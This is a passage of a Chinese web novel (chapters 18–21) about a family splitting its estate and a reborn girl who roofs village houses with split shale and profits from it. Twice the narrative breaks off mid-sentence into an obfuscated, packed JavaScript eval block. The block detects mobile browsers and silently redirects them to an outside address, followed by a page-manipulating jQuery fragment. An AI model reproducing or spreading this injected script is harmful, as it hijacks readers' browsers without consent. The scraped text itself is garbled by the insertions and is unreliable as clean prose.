刘有田拉着她的手,挤挤眼:“强子娘,强子大了,不好再跟我们一个屋!把他搬到里间去。”王氏转念一想,明白了他的意思,上次两口子夜里腻歪,孩子突然翻起来撒尿,丈夫当时就吓得趴下! 为了将来的幸福,她勉强点头,算是同意。 行吧,最大的两项分完,剩下的简单,家里的家具,因是各自成亲时做的,各屋归各房。后院猪圈里一头老母猪归大房,两只小猪归二房,一只公鸡六只母鸡归二老。粮食还剩一袋,按照人头,平均分,大家伙都没意见。 分完家产,剩下现银。 全家人紧紧盯着宋老太抱出来的木头盒子,上面一把铮亮的铜锁,随着宋老太啪拉打开锁,所有人呼吸都急促了几分。 宋老太冷笑一声,划拉倒个底朝天。 里头的东西全都落在桌子上,只有七两碎银,一堆铜钱,约摸有八九百钱。 王氏:“娘,不能吧,这些年风调雨顺,收回来那么多粮食,每年都要卖一些,换的银子呢?” 刘有山:“打猎卖的钱呢?” 宋老太木着脸一笔一笔背诵:“每年人头税,女一百钱,男两百钱,你们算算我们全家一年要多少?” “私塾读书,镇上束脩每年一两银,村子里一年二百钱” “宝柱买笔墨,每年一两银” “宝柱住镇上私塾,住宿伙食费,每年二两银” “每年人情来往,一两银” “过节添置被褥布料等,每年一两银” “每年糖烟酒水茶,一两银” …… 刘青青讥讽的看着王氏:“原来,堂哥花的钱最多啊!” 念书花这么多钱?王氏突然有点后悔,但强撑着:“他花钱多,以后对家里回报也大!” “不用以后,现在我爹腿受伤,治病还有十两外债,商量商量怎么还吧?” 18. 第 18 章 王氏沉下脸:“老二不是我们把他打伤的,治病的债与我们何干?” 刘有山心中充满了悲愤,他这些年风里来雨里去,拿命换银子养活的家人,就这样? 他气愤不已,拳头捏得噼里啪啦作响,却拿王氏没辙,他一个男人,吵又吵不过,难道还能打么,打也打不到啊! 偏偏苏氏是个锯嘴的葫芦,刘慧兰也是个软和的性子,两个人急得直掉眼泪。 刘青青却是个嘴皮子利索的,呵呵冷笑:“阿爹这些年打猎换的钱,也被刘宝柱花用了去,既然要分,是不是先把这些钱还来!” 王氏撇撇嘴:“臭丫头,是从你手上拿银子了么?那是从公中,公中,认不认得?” 看她得意的样子,刘青青捏七寸:“哟,那我去书院问问先生,礼仪谦卑的刘宝柱用了二叔卖命赚回的银子,然后在二叔受重伤的时候,不管不顾,一脚蹬开,不晓得先生会给刘宝柱个什么样的评价!” 这一下算点了马蜂窝。 刘宝柱是王氏的命根子,更是宋老太的命根子,原本计划着十两银子的事就这么含糊过去,让分了家的二房自己想办法,偏偏刘青青是个混不吝的,在她眼里没有尊卑这种事,估计她真的做得出来。 王氏急红了眼,抬起巴掌要扇她:“你敢,我揭了你的皮!” 刘青青像滑溜的泥鳅,滚到刘有山的后面龇牙:“你看我敢不敢!我还要去县衙喊冤,请官老爷做主!” 在乡民朴素的心中,官衙是神圣不可侵犯的地方,只有供着的。刘青青她怎么敢随随便便挂在嘴边,把去县衙说得像去村头遛弯一样自然。 这事吧,王氏还真有些却怵,她这一去,儿子的名声算是坏了。下场的时候要请秀才作保,人家要打听这些的。 王氏牙齿咬得咯吱作响,心里恨透了刘青青,这个祸害精,小小年纪如此奸滑。 宋老太看不下去,重重哼一声:“山子,你这些年是交了银子给我,我管着家里,这些银子是不是由我说了算?此事和宝柱无关。管好青丫头,莫要再胡闹!” 山子不敢置信的盯着宋老太,哽咽道:“娘,这是胡闹么?我为这个家成了残废,现在看我没用了,一脚把我们踢开,我都没计较。我治腿的时候还没分家,这十两银子是不是应该全家一起还! 今儿不把这债务捋清楚,这家不分了!既然宝柱还能念书,家里肯定有余粮,不缺我们爷几个一口吃的。我替大哥养了宝柱这么些年,也该让他养养我。” 宋老太头疼,二儿子从小一根筋,他这么想,打定主意一定会这么做。不行,她不能让二房拖累宝柱。 不情不愿推了一把面前的银子:“行了,这里7两800钱,都给你拿去还债!” 刘青青好心提醒:“阿奶,其中三两是给我们买地盖房的!只剩4两800钱,还差5两200钱!” 宋老太狠狠瞪她一眼,就你能算! 心不甘情不愿回房,小心翼翼抱了两匹布料,不舍的感受着它的丝滑柔软,红着眼盯着刘有山:“山子,这是你妹子从府城托人送回来的孝敬我的布料,县城都没得卖,一匹足值三两,你拿去抵债。 此事作罢,分了家后各自过活,堂堂正正做人,莫要拖累别人。” 按照以往儿子对她的孝顺,她作出这样伤心的表情,儿子一定说不用了,留着给你老罢。 哪知刘有山只是沉默了一会,示意刘青青收下。 宋老太怔怔,她真的失去了这个儿子! 刘青青满意的摸了摸布料,是细棉布,紧紧抱在怀里,笑嘻嘻道:“谁拖累谁还不一定呢!” 刘宝梁执笔,在村长的见证下,刘家正式分了家,王氏掏出一两,限定二房一个月内搬走。 刘青青理了理手中的财产:银十两,布料两匹,小乳猪两只,粗粮半袋,地四亩。 她表示,养家压力很大啊。好处是,二房上下一条心,全都听她的。 刘青青顾不得伤春悲秋,刘有山杵着拐,爷两个约了村长去村头看宅地基。 打眼一望,村头有一块高高的地,规划个小院子后,还能起三间房,后面连着分给他家的四亩沙地,地边就是清水河。 这块地浇水确实方便,缺点也很明显,雨水多的时候会被水淹,间或埋着几块大石头,得先清理掉才能用牛来犁。但地基所在的地方,地势高淹不到啊。 村长刘长贵有些牙疼,苦口婆心相劝:“山子,听叔一句劝,这块宅地基虽然便宜,只要一两银子,但实在太小,没有后院,没个地方种菜养猪养鸡,不如我带你去看看村尾那块,又周正,地方又宽敞。”农户人家蔬菜都在家里后院自己种,不用掏钱。 刘青青一看就喜欢这里,进村的第一户人家,旁边十多米是邻居,安全且安静,道路宽敞,用现代的话说,汽车直接到屋,不像老宅,很热闹,但大些的马车无法通过,只能进驴车。 最最满意的就是四亩地完全可以作为他家的后院,她想想口水就流了下来,四亩地的后院,接近2600平方,算上地基,3000个平方都是她的家。 刘有山有些意动,刘青青立马劝阻:“谢谢阿爷为我们考虑!爹,我们手里没多少银子的,要大了作甚,够住就行啦!” 刘有山沉默的摸了摸腿,是啊,他现在瘸了,以后生计是个问题,能省一些是一些。 刘青青可怜巴巴的望着村长:“阿爷,这块地,还能便宜一些么?” 刘长贵琢磨着,这是他上任以来卖出的第一块地,村里的人家都嫌弃这里没有后院,只要能卖出去也挺好。 他为难道:“最少700钱,不能再少!” 刘青青随口一问,哪知道还有这种意外之喜,省下的三百钱,够买三百个鸡蛋啦。当场拍板,跟着去村长办理手续。 托宋老太的福,刘有山认得常用的字,可以直接签契。 村里的人听说刘有山买了地基盖房,都很诧异,这都瘸了,不是应该哭天抢地到处打秋风,咋还有心思买地盖房呢? 队友们聚集在二房的小耳房里:“山子,起房用得上我们的,只管说,别客气!”春天是山上野兽繁殖的季节,打猎有伤天和,大家伙都缩在家里做农活。 刘青青看着围在便宜爹身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850674|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一帮壮汉,笑得合不拢嘴,这些都是她起房的劳动力啊。 第二日,这些人全都在她家的地上开始挖地基起房子。 刘青青是个舍得吃的,末世养成的习惯:吃的好,吃的饱,才有力气打丧尸,换回的晶体买高品质的食物,锻体提高自己的战斗能力,良性循环。 重金花一两银从村子里收购五代碎米,还从镇上买了肥肥的三鲜肉,每顿吃的是白净的干米饭,配着一荤一素,荤菜要么是油汪汪的青笋回锅肉,或者是甜到心里的板栗红烧肉。 队友们原本是看在曾经一起打猎的情分来帮忙,哪知道刘家这么下血本,倒吃的不好意思,只好卖命的干活,堪堪十天,墙壁都垒好了,接下来便是垒屋顶。 清水沟村大部分人家垒的屋顶是茅草的,用圆木搭好梁,铺上竹席后,一层一层铺茅草,抹上泥后再铺上茅草,这样来几遍。 所以每隔几年都要翻修,不然就会漏雨,发霉。 当然,也有青瓦,村长家就是,费用么,呵呵。 刘青青表示,不想住茅草房,下雨的时候总感觉湿淋淋的,可是清水沟处在大山中,镇上也有青瓦,她打听过,二十文一片,她家三间房需要一千片左右,至少二十多两银,不是她家现在能负担得起的。 因茅草还不够干,需要再晒一天,队友们今日闲了下来,看到她家地里的石头,十多个壮汉闲着没事做,帮她家清理石头,刘青青也在一旁打下手。 刘青青找到地中央,最碍事的那个石头,几人顺着根往下挖,好不容易挖开半个人那么深,下面还看不到底,赵二贵靠在锄头上喘着粗气:“我的娘,这石头地外面只漏出个顶来啊!” 刘青青跳到坑里,没好气的拿锄头用力敲了一下,要是能打碎搬走就好了。之前看着也就板凳大的个,哪知道下面这么大。 这一敲,便有一块石头松动,刘青青吓了一跳,观查了一会没反应,继续敲了几下,就敲下来一块!一块哦!薄薄的,有单人沙发那么大的一块! 刘青青目瞪口呆,这是,页岩? 她不信邪的敲开个缝隙,伸进锄头撬了一下,大石头像撕书那样,又掉下一块来! 刘青青眉开眼笑,她的屋顶有着落了,用不起青瓦,还不能用天然的页岩么? 只是石头会传热啊!夏天的时候,家里热得像蒸笼。 现代建筑都是涂一层防晒层,这儿哪里有涂料给她用。 她飞快的转动脑子,石头是热的良导体,所以会热,泥土是热的不良导体,所以能建冰窖。 转瞬有了主意,房顶先铺竹席,再铺上泥土和茅草搅拌物,最后铺页岩,这样雨水不会漏,泥土保证了冬暖夏凉。泥土里的茅草起着钢精的作用,不会散,类似于混泥土。 她把想法告诉刘有山,刘有山眼前一亮,拍掌夸赞:“我就晓得,我闺女不比男娃差!就这么干。” 赵二贵泼凉水:“页岩大小不一,不好铺啊!” 房梁宽度都是固定的,你这个页岩有的大有的小,怎么铺? 刘青青:“要是我有办法把页岩变成差不多大小的呢?” 19. 第 19 章 帮忙的赵二贵,桩子等抱着迟疑态度,清水沟村一直以来,盖的是茅草房,勒紧裤腰带省吃俭用攒几代人,能去镇上换青瓦顶。 茅草顶就地取材,不要钱,只要家里有劳力的都可以,漫山遍野的茅草随便割。缺点也很明显,容易漏雨,还会发霉,风稍微大的时候,家里全是灰,每一年必须翻新一次,大风大雪天气有倒塌风险,虽说山里这样的天气少,也发生过。 青瓦房顶的好处很明显,不会漏雨,干净没有灰尘,盖一次能用一代人,只需每年扫扫房顶,唯一不好的地方就是贵。 祖祖辈辈要么是茅草房,要么是青瓦房,刘青青这丫头主意多,但有些过于天马行空不切实际。 他们反对的理由是因为传统,不是说石头房顶有什么不好的地方,刘青青放了心,拉着刘有山的手撒娇。 刘有山想了想后:“各位兄弟,我知道你们是为了我们家好,可是我的腿算是废了,以后不能上房换顶,青瓦家里负担不起,现在有石板,为什么不试一试呢?” 一家之主都同意了,赵二贵他们不好再劝说。 现在最大的难题是怎么把页岩一块一块尽量完整的取下来。 页岩具页状或薄片状层理,用硬物击打易裂成碎片,刘青青想着,直接敲打会碎掉,就像铅笔那样,取一把刀把它一片一片顺着缝隙削下来,就不会碎了。 为此,她设计了一把大铲刀,前头薄,后面厚,两个人一起抬着,像切西瓜那样,把页岩给切开。 她的想法很好,但是实施起来有困难,铲刀需要足够的硬度,必须是铁质的,这个时候的铁可不便宜,粗略算了一下,加上铁匠的工费,需要十两银子。 得,问题又转回到钱上。 为此,刘家二房召开了第一次全体会议。 盖房到现在,只差铺顶,买地买菜合计已经花费了三两银,手里还余七两银。 苏氏紧紧拽着银子,豆子小小的三块,冷冰冰的,她成婚来首次掌握这么多银子,有种莫名的踏实,她持反对态度:“家里生计没有着落,这些银子留着买粮,节省些够吃七年了吧!” 说实话,这几天,日日干米饭配红烧肉,她吃得心惊胆战:如此吃法,实在太过奢侈。好吃是好吃,但吃完了这么办呢?二女儿不是个简省的,有多少花多少,她早就想劝了,今日正好找到机会。 刘青青皱眉:“娘,钱藏在家里没用,要让它钱生钱。” “我们借三两银,打造一把铲刀,我们家的房子便是村里头一份石板顶,干净不漏雨。”她不动声色下钩子:“反正是地里的石头不要钱,我们请叔叔们多铲一些,家里泥地夯平后铺一层,石板地哦,再也不会把鞋弄脏了!” 苏氏很纠结,她被刘青青描述的画面吸引,清水沟大部分人家地板都是黄土夯实后的,讲究些的人家,买了青砖铺地,比如上次的王嫂子家,青砖铺地,白泥抹墙,干净明亮让她羡慕极了,不像自己家,灰突突的,随便扫一下地,满天的灰。 她也想有干净亮堂的房子,可是,银子不凑手啊。 刘青青幽幽加了一句:“完了我们再把铲刀卖给铁铺,回收一份钱,其实要不了多少。”这话有些夸张,回收算是废铁,最多能卖一两银。 犹豫不决的苏氏,心中的天平再次偏了一点,面上不好答应,毕竟,她是节省的代表啊。她转过头问刘有山:“当家的,你说呢?” 刘有山宠溺一笑:“媳妇,我听你的!” 刘青青:“……” 她面无表情看向刘慧兰:“阿姊,你觉得呢?” 刘慧兰理所应当道:“当然是听你的!”跟着二妹,一定不会错,这些日子她把前些年的肉都给吃回来了,竟然又长高了一丢丢。 好吧,翠翠也听她的,二比三,干就完了。 苏氏又愁肠起来:“我们有七两,还差三两,请你叔叔伯伯们干活,人家仗义不要工钱,我们饭食得丰厚些,差不多后期还要一两多呢!” 也就是,还差4两 刘青青:“我们不是有布么,拿去城里问问,能不能换银子?”上好的细棉布,她有些舍不得。 晚食的时候,刘青青看到赵垚赶着驴车去村长家,她连忙叫上刘慧兰帮忙抱着布料,去村长家寻赵垚。 & 村长家,赵垚被母亲念叨了好几次,总算抽出空来接姐姐赵翠娥母子回娘家上坟烧纸,徐氏不放心宝儿,命儿子刘鑫一起回去,一家子正收拾行礼。 听她说明来意,赵垚沉默了一会,从怀里掏出个灰色荷包,数了四两银子递给刘青青:“布料你留着吧,难得的细棉布,贱价卖了可惜。衙门拖欠了半年的月银,正好今日一起发,这钱我借你们,不要利息。不过你得帮我铲一份石片出来,我们家的房顶也是茅草的!”他还剩二两银,够阿娘吃用几月了。 刘青青眉眼弯弯接过银子:“你可真是我们家的贵人!” 赵垚的话,让刘青青灵光一现,她勾勾手指:“我有一个赚钱的法子,你敢不敢做?” “什么?” & 半月后,刘家二房迁新居,刘有山大手笔买了一挂鞭炮,噼里啪啦放得全村子都听见。还在屋子里摆了麦芽糖,三岁以下小孩帮闹房,都能领一颗。 村子里的习俗,新屋来得人越多,人气越旺,以后家宅平安富贵。一般只是亲友前来帮忙闹房,说句吉利话。听到有糖,小孩子们都闹着要跑去凑趣,大人们听了,只好带着孩子拐道去看一看,顺口一句吉利话,换颗糖给娃。 和村子里的房子一样,盖了一个小前院,三间正房两间耳房。 只是去看了后,都暗暗咋舌。 竹篱笆的院子里,他家竟然铺了石头,下雨再也不会弄一身的泥! 房顶也是大大小小如鱼鳞一般铺就的石片,不怕风吹雪落! 屋里地板是整齐的石砖,土墙上抹了一层白泥,摆着老木头床,老家具,竟然还清清爽爽,几明窗亮! 后面地边栽了一排荆棘,直到河边,整整四亩地的大后院。 碎石铺的小路直达菜圃! 好喜欢! 胖婶眯眼瞧着屋顶上的石片,闪过一丝羡慕,但撇撇嘴:“石头屋顶,雨水是不怕了,夏天的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850675|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,在屋里不得像蒸笼!” 今日正好是个艳阳天,刘青青笑眯眯道:“胖婶,外面晒,屋里准备了甜水,进屋歇一会呗!” 胖婶满身的汗,想着里头肯定热得很,懒得进屋,又嘴馋糖水,咬咬牙跟了进去,一屁股把小竹凳坐得咯吱响。 咦,这屋里清凉得很哪,一点都不热。 她抬头瞧见屋顶是黄色的横梁,崭新的竹席,四周干净的墙壁,脚下平整的地板,咬咬牙,决定也这么整,家里儿子说亲在即,人家女方来看了房子也欢喜不是。 等刘青青端来糖水,她拉着她的手套话:“青丫头,你家盖的房顶和地板花了不少银子吧?” 刘青青扒拉着手指头,一,二,三,四,五……阿爹说了,买地一两,盖房二两,房顶和铺地二两,篱笆一两,花费了,六两! 胖婶屏声静气,不敢置信,紧紧抓住刘青青:“二两?你说二两,不是二十两?”和青瓦一样的功效,但只要青瓦十分之一的花费! 是她听错了么? 她紧张的拉着刘青青:“快带我找你爹去,我要问他,他哪买来的石片?” 刘青青:“河边挖来的石头,用刀就切成石片了呀!” 胖婶:“……” 小孩子懂个球,你以为是切南瓜么! 她风风火火跟着刘青青来到后院,看着眼前的一幕,惊呆了,竟然真的是切石头如切南瓜! 两个壮汉共同抬着一把大刀,把大石头一片一片切下来! 她大老远就喊:“山子兄弟,你们切石头的刀,借我使使呗!”这么大一把刀,起码用了五六十斤铁,她知道珍贵,补充道:“租也成!” 刘有山摸出腰里的小本本,看了一会道:“胖姐,不好意思,已经排到明年六月了,要不,你明年再来!” 儿子等着说亲,媒人约好下个月就来家里相看,她特别喜欢那个闺女,又勤快又干净。可是家里灰扑扑的,人家看得上么!咬咬牙:“那,你们的切好的石片怎么卖?” “二十文一片!” “这么贵!石头又不要钱!” 刘有山坐在凳上,用手挪了挪发酸的腿,耐心解释:“胖姐,这一块石片几乎和十片青瓦一样大,你想想,一片青瓦二十文,十片青瓦是不是二百文,我们这才二十文啊!” 石头是不要钱,可是兄弟们搬石头,切石头要力气啊,这把大铲刀也是钱哪。 “那我家要,要多少片来着?” 刘有山微微一笑:“胖姐,买我们的石片,加一点工钱,我们帮忙翻新屋顶地面哦。” 他指了指在一边场上的十多个敲打石头,搬运石片的挥汗如雨的壮汉:“诺,这么多兄弟,两天就给你整得好好的,免得你还要耽搁地里的活计! 按屋顶面积用多少石片,我们收多少的钱,翻新过程中摔坏的我们包换,不多花你一文钱!” 胖婶:“行,帮我翻新!” 刘有山在小册子上用黑木炭勾勾画画:“胖姐爽快,你家排在这个月底三十号,我们先收钱,再翻新,你看是不是今日把钱交了,兄弟们月底就过来!” 20. 第20章 刘有山带着刘青青坐镇河边新家,接待来订购石片和打算装修的人家,刘慧兰和苏氏做饭,送水。赵二贵、桩子等人每日早早到刘家报到,吃完饭后分成两拨,一拨在后院削石头上山砍树晒梁,一拨出门帮村里的人家翻新屋顶。 村里人算了一笔账,三间正房,自家买石板翻新屋顶加铺地板,将近要三两银子,但需要自家上山砍树上梁铺瓦,打磨石块。若雇佣他们来,只要多出一两,一日的功夫就料理得清清爽爽,干净利落。 比如胖婶家赶时间,等不及,所以请了他们来施工。家里劳力多的,舍不得那么一两银子,买了石板回来,自家换顶,但做出来,总是没有他们做的大方美观。 也有家里宽裕且劳力充足的,干脆也去城里打了一把铲刀,学着刘家的样子,自己削石片卖。那已经是一月后的事情了。 四月二十八的傍晚,刘家堂屋里坐满了人:中间八仙桌坐不下,各自寻了个小板凳靠墙坐着,大家边聊天,边瞟着椅子上的刘有山, 他写写画画半天,舒了口气:“定下的人家,屋顶总算换完了,你们可以歇一歇。” 说完,他虚弱的咳嗽了一声。 虽然他没有下苦力,可是每日接待来家里的客人,也很费心神。 人人脸上闪过一瞬间的迷茫,订单做完了,那他们干什么。 赵二贵脸上带着愁苦之色:“是呀,青丫头,村尾赵钢,中村刘粮家也打了一把铲子,满河滩的找石头呢,快想个法子.” 刘青青摊手:“做不成就不做了呗!河滩上都是石头,我们还能挡着不给别人搬么!”清水沟村三四百户人家,舍得请他们出工换石头屋顶的十不足一。 像赵刚家里宽裕的直接打一把铲刀自己切,还有家里人口多的,寻个大页岩,一人拿一把锄头,慢慢撬,多费些功夫,总能攒些大块完整的,或者小块的也行啊。 今日的结果她已经预料到了。 刘青青笑嘻嘻安慰:“二贵叔,你们辛苦了整整一月,也该休息几日,我们算一算这些日子的账目吧!” 刘有山坐直身子,清清嗓子咳嗽了一声:“这些日子,我们共出门做了三十一家的屋顶,其中十一家铺了地板,合计赚得104两。” 随着他的声音落下,屋里静悄悄的,一脸不敢置信,真的么,104两,他们这辈子都没见过这么多银子! 他们合计十个人,每人能分将近10两银! 往年冒着生命危险打猎,风里来雨里去,一年堪堪能赚6两,才忙里一个月,竟然赚了10两,好激动,好开心! 只是一想到,以后不能再做了,就有些失落。 刘青青咳嗽一声:“阿爹,没这么多的,还要刨除开支!” 刘有山摸摸后脑勺:“这不是让大家高兴高兴,我们也是拥有一百两银的人,不比地主老爷差!” 屋里哄一声笑起来。 等大家伙停下,刘青青朗声道:“石头是河滩上寻的,不要钱,除了铲刀,还购置了斧头,绳索,砖刀等用了四两,每日的伙食费,早午晚三顿,吃了三十一天,合计用了十六两,还剩84两。 当时说好的,我们家出铲刀,算一个分子,我爹虽然没干活,但这门生意是我爹琢磨的,在家招拦生意,算一个分子,阿娘阿姐负责给大家伙做吃的,烧水煮茶,保证后勤,算一个分子,我们家占三个分子,各位叔叔有九人,合计十二人平分84两,每人可以分7两。” “每日买菜的账本都在这里,各位叔叔随时可以查看。” 刘青青笑眯眯把刘有山的小本子放在中央的八仙桌上,上面每日的账目些炭笔写得明明白白。 众人有些咋舌,一个月吃了十五两,也太能吃了,不过一想到每日的饭菜,就释然了。比如今天,天还没亮大家伙在刘家集中,每人满满一海碗猪骨汤细面,头上是一大勺炒的爆香的焖肉,大家伙按照刘青青的分工,或上山砍树做房梁的,或到河岸上削石头的,或去村里人家换屋顶。 午时各自回刘家,吃的是猪肘子,烧得软滥的皮,一口吃到嘴里能爆浆,滑嫩的肉,大家伙放开来吃,管够。 饭后是油桃,不晓得青丫头从哪听来的,说是每日都要吃果子,人才不会生病, 天黑后吃晚饭,今儿主菜酸菜鱼,都不知道苏氏是怎么的,这酸菜鱼烧得又酸又辣,鱼肉鲜美滑嫩,没有一点腥味! 因吃了饭休息会,还给大家伙一人配了一小杯酒,这日子别提有多美! 虽然这个月早出晚归累得厉害,但大家不仅没瘦,反而胖了一些。 见众人没有异议,刘青青开始分钱:每人7两! 苏氏捧着分到刘家的21两,觉得在做梦。有些想不明白,别人家盖房,欠了一屁股债,他们家盖房,竟然还赚钱! 铲子还能卖钱呢! 刘青青做事是周全的,她把斧头砖刀等放在桌上:“各位叔伯,这门生意以后还能做,但不会像这个月这样容易赚钱。除了我们村,镇上别的村也需要翻新屋顶,这门技术简单,吃的是个劳力饭,这些工具以后估计还用得到,我们商量商量,是分了,还是谁家一起揽下!” 村头的铁柱叔有些意动,他媳妇能生养,家里负担重,五个儿子,最大的十九,最小的十二,全是能吃的。因家里困难,连饭都吃不饱,他才把地里的活计交给儿子们,自己上山打猎补贴家用。 他紧张的看着刘青青:“你家不做这门生意么?” 刘有山苦笑:“柱子,我家的情况你还不晓得么,不论削石片、砍树,还是上屋顶,全是力气活,我家哪里找得出个合适的人选。” 说完他瞟了一眼乖乖坐在刘青青身后,心无旁骛拉着刘青青辫子玩的郭守云,那小子才学会用筷子夹肉,让他来干不合适! 铁柱急忙道:“各位兄弟,我家里吃饭的人多,若不介意,这门生意就给我,好不?当然,也不挡着大家,这次买的这些工具,就卖给我!” 也有两个意动的,但做不下主,得回家和父母媳妇商量,最后,铁柱三两银子买下斧头砖刀工具,因铲刀已经磨损,需要铁匠铺再返工,折价七两。 众人商量着,这三两银省着些,作伙食费,大家伙轮流着把各家的房顶地板换一换,顺便把刘家后院收一收,搬石头挖了的坑填一填。 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不想不行,好不容易进了县衙吃皇家的饭,稳定是稳定,可惜月薪太少,一个月才一两银。他在县城毫无根基,没房没车,住在县衙的大通铺里,十多个兄弟一个屋子,吃喝自负,都在那一两银子里,无论怎么省,一个月最多剩下半两。 家里只剩老母亲,腿脚因为早些年劳累,变形疼痛不能走路,每日只能在家枯坐,他计划在城里买个小院子,把母亲接去,再置办辆小驴车,让母亲自己乘车到处逛一逛——城里都是青石板路,车子走得稳。 偏偏城里两间房的小院子,最便宜都要二十两,攒了这么些年,他手里才有十两。若不把那四两借出去,他就有十四两了。 一个月都没有音讯,看来他的银子打了水漂,他懊悔的咀嚼着碗里的红薯饭! 恰在这是,院子门口传来声音,原来是阿姐姐夫带着宝儿回来。 赵垚迎出去,意外的是,刘慧兰两姐妹也在! 姐夫刘鑫牵着驴,赵垚连忙抱下宝儿,扶阿姊下车。刘青青是自己蹦下来的,刘慧兰也跟着跳,偏偏脚下有个小石子,差点摔倒,幸好赵垚扶了一把。 啧,榕树村和清水沟村差不多嘛,泥土地碎石路! 几人站定,赵垚紧张的看看阿姊赵翠娥,又看看刘青青:“你们这是?” 刘青青挤挤眼:“给你送钱来拉!” 赵垚开心的咧开嘴,露出络腮胡子下的白牙,多少? “你出了4两银,可以分到3两,连同本钱,合计7两!” 赵垚兴奋得一拳打在旁边的院门上,几乎没把院门给捶倒:“太好了,我只差三两就够买房子。” 赵翠娥笑盈盈的:“我和你姐夫商量好,我们手里有三两,你先拿去买房!” 赵垚:“……” 幸福来得太突然。 他结结实实给刘鑫一个熊抱,一刻也等不及:“走,现在你们帮我看房去,今儿就买下!” 刘慧兰不太愿意去,刘青青很兴奋,央求:“阿姊,走嘛,我们先去看看,合适的话,也买一个小院。”即便不买,去城里买些布料做衣裳也好。赚钱不花,有什么意思。还了赵垚后,她们家还有21两银呢。 21. 第 21 章 刘慧兰轻嗔刘青青,在她脑门上点了一下:“淘气!即便要去县城,今日也来不及。”榕树村和清水沟村一样,隶属平安镇,距离常平县城四个时辰的车程。 刘青青无奈望天,她都忘了这茬。平安镇距离县城不算远,大约30公里,但山路颠簸弯曲,而且驴车着实慢了些。 于是两家人约好,凌晨寅时(夜里三点),两家人在镇上集中,一起坐驴车去县城。 回了家的刘青青缠着苏氏不放,把家里赚的21两银子全都装在身上。苏氏被她磨得没办法,在她衣裳里缝了好几个暗袋给她藏钱。 身怀一笔巨款,本来应该刘有山陪同,奈何刘有山腿脚不方便,靠着拐杖能在家里挪几步,苏氏本身是个内向的,这个差事落在刘慧兰身上。 自刘青青从榕树村回来,郭守云便一直跟在她屁股后面,她提桶打水,他在后面,她拔葱准备晚饭,他站在一旁。刘青青止住步伐,转身直视和他同样高的郭守云:“阿云,你别跟着我,我去茅房呢!” 郭守云很倔强:“跟着!” 这些天他白净了许多,一双清凌的大眼满是委屈,控诉她出门不带着他。 刘青青有些头疼,她要怎么解释,郭守云和幼妹一样,还有些怕人,只会两个字两个字的蹦字,暂时不适合去县城那种人烟密集的地方,万一吓到怎么办? 她顺了顺他长长到耳边的头发:“阿云,我去城里给你买好吃的,比红烧肉还好吃哦!你乖乖在家的等我!” 郭守云脸上闪过挣扎,发现刘青青不为所动,只好慢慢放下拽着她衣角的手,恹恹道:“哦!” 刘青青一颗心都要被他可怜巴巴的样子融化掉:“好吧,好吧,怕了你了,今晚我和你一起睡!” 刘家新盖的三间房,中间是堂屋,东外间刘有山夫妇住,东里间做杂物间,西外间刘青青三姐妹打地铺,西里间给了郭守云。 一开始的时候,郭守云不好好睡觉,夜里总是悄悄摸进她们的房间,挤在她身旁。他们才9岁,没有那些乱七八糟的男女大妨,可是大半夜有个黑影子站在你面前,不得吓死。刘慧兰对此表示了强烈的不满,把刘青青赶了过去。 于是,两人成了正经的“同床共枕”小夫妻。 刘青青给他铺得整整齐齐的地铺,他偏偏不好好睡觉,总是把被子掏成一个洞,睡觉的时候蜷成一团,让她也睡不好。 刘青青很是恼火,重金去镇上又买了一套铺盖,两人同处一室,各自在一个角落睡觉,刘青青的是长方形地铺,郭守云的依旧是个椭圆形的窝。 郭守云夜间习惯性顺着刘家篱笆巡视一圈,就像巡视自己的领地一样。回屋的时候刘青青已经睡着,他颠颠把自己的窝拖到刘青青的铺盖旁,让两个铺盖重叠在一起,乐滋滋钻进去,毛茸茸的脑袋拱了拱刘青青的脸,心满意足合上眼:他喜欢这样挤在一起睡觉,很有安全感。 凌晨两点,刘青青推开郭守云的毛脑袋,轻手轻脚起床,和刘慧兰一起洗漱收拾了个包袱,姐妹两挽着手往镇上走,才出了村口便看见赵垚赶着驴车,江氏打着灯笼坐在驴车上喊她们上车:“闺女,夜里凉,快上来躲躲!” 刘青青有些惊喜:“江奶奶,你们怎么来了?” 按刘家排的辈分,刘有山和赵垚是一辈。 江氏一拍大腿:“嗨,一想到要买房子,高兴得一宿睡不着,干脆起来,阿垚说等着也是等着,顺便来你们村接到你们,快些去城里。” 她瞟了儿子一眼,没说儿子念叨刘家仅姐妹两上路,万一遇到歹人怎么办,催着她快些起床来接人。 江氏是个外向的,领着刘家姐妹躲在车里,说着闲话,赵垚一人在外面驾车,听着里头不时传来的说笑声,嘴角不时勾起,阿娘好久没这么热闹、开怀过。绕路来接刘家姐妹,真是一个无比正确的决定。 一车四人正午时分到达县城,一人出了三个铜板的进门费,终于窥见县城的面貌。 赵垚寻了个车马店停好车,刘青青拍着发酸的腿,兴致勃勃打量街两边的店铺。 路上行人衣着光鲜,不时对他们投来奇怪的一瞥。江氏瞧着这么多人,有些怯怯。拉着刘慧兰姐妹两不放:“闺女,我有些怕,万一城里的人势利眼,欺负我们乡下来的这么办?你们跟着我们去看房,帮我们壮壮胆!” “好啊,我们也想见识见识城里的房子。” 赵垚领着她们先吃了碗混沌,才找到中人,去到打算买的房子面前。 这座小院离县衙两条街,进门大约三个乒乓球桌子大的青石板院子,上面两间土墙青瓦正房,墙下搭盖了一个小厨房。 